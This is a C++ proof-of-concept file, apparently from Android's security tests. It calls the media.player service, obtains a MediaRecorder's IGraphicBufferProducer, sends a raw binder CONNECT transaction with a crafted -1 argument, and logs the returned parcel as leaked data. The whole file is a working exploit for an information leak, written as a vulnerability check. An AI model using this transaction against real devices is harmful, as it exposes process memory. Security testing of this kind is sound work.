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78 lines
2.7 KiB
78 lines
2.7 KiB
/**
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* Copyright (C) 2018 The Android Open Source Project
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*
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* Licensed under the Apache License, Version 2.0 (the "License");
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* you may not use this file except in compliance with the License.
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* You may obtain a copy of the License at
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*
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* http://www.apache.org/licenses/LICENSE-2.0
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*
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* Unless required by applicable law or agreed to in writing, software
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* distributed under the License is distributed on an "AS IS" BASIS,
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* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
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* See the License for the specific language governing permissions and
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* limitations under the License.
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*/
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#include <android/content/AttributionSourceState.h>
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#include <binder/IServiceManager.h>
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#include <binder/Parcel.h>
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#include <fcntl.h>
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#include <gui/IGraphicBufferProducer.h>
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#include <media/IMediaPlayer.h>
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#include <media/IMediaPlayerClient.h>
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#include <media/IMediaPlayerService.h>
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#include <media/IMediaRecorder.h>
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#include <sys/stat.h>
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#include <sys/time.h>
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using namespace android;
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int main(__attribute__((unused)) int argc,
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__attribute__((unused)) char *const argv[]) {
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sp<IServiceManager> sm = defaultServiceManager();
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sp<IBinder> MeidaPlayerService = sm->checkService(String16("media.player"));
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// get IMediaPlayerService
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sp<IMediaPlayerService> iMPService =
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IMediaPlayerService::asInterface(MeidaPlayerService);
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ALOGI("Get iMPService instance, 0x%08lx\n", (unsigned long)iMPService.get());
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android::content::AttributionSourceState attributionSource;
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attributionSource.packageName = "poc";
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sp<IMediaRecorder> recorder = iMPService->createMediaRecorder(attributionSource);
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ALOGI("Get recorder instance, 0x%08lx\n", (unsigned long)recorder.get());
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const char *fileName = "/sdcard/test";
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int fd = open(fileName, O_RDWR | O_CREAT, 0744);
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recorder->setVideoSource(2);
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recorder->setOutputFile(fd);
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recorder->setOutputFormat(0);
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recorder->init();
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recorder->prepare();
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recorder->start();
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// get IGraphicBufferProducer
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sp<IGraphicBufferProducer> iGBP = recorder->querySurfaceMediaSource();
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ALOGI("Get iGBP instance, 0x%08lx\n", (unsigned long)iGBP.get());
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Parcel data, reply;
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data.writeInterfaceToken(iGBP->getInterfaceDescriptor());
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data.writeInt32(-1);
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IGraphicBufferProducer::asBinder(iGBP)->transact(10 /*CONNECT*/, data,
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&reply);
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int len = reply.dataAvail();
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ALOGI("dataAvail = %d\n", len);
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unsigned int *leaked_data = (unsigned int *)reply.data();
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for (int i = 0; i < (len / 4); ++i) {
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ALOGE("IGraphicBufferProducer_InfoLeak leaked data = 0x%08x",
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leaked_data[i]);
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if (i < 4 && leaked_data[i] != 0) {
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ALOGE("IGraphicBufferProducer_Info is Leaked");
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}
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}
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return 0;
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}
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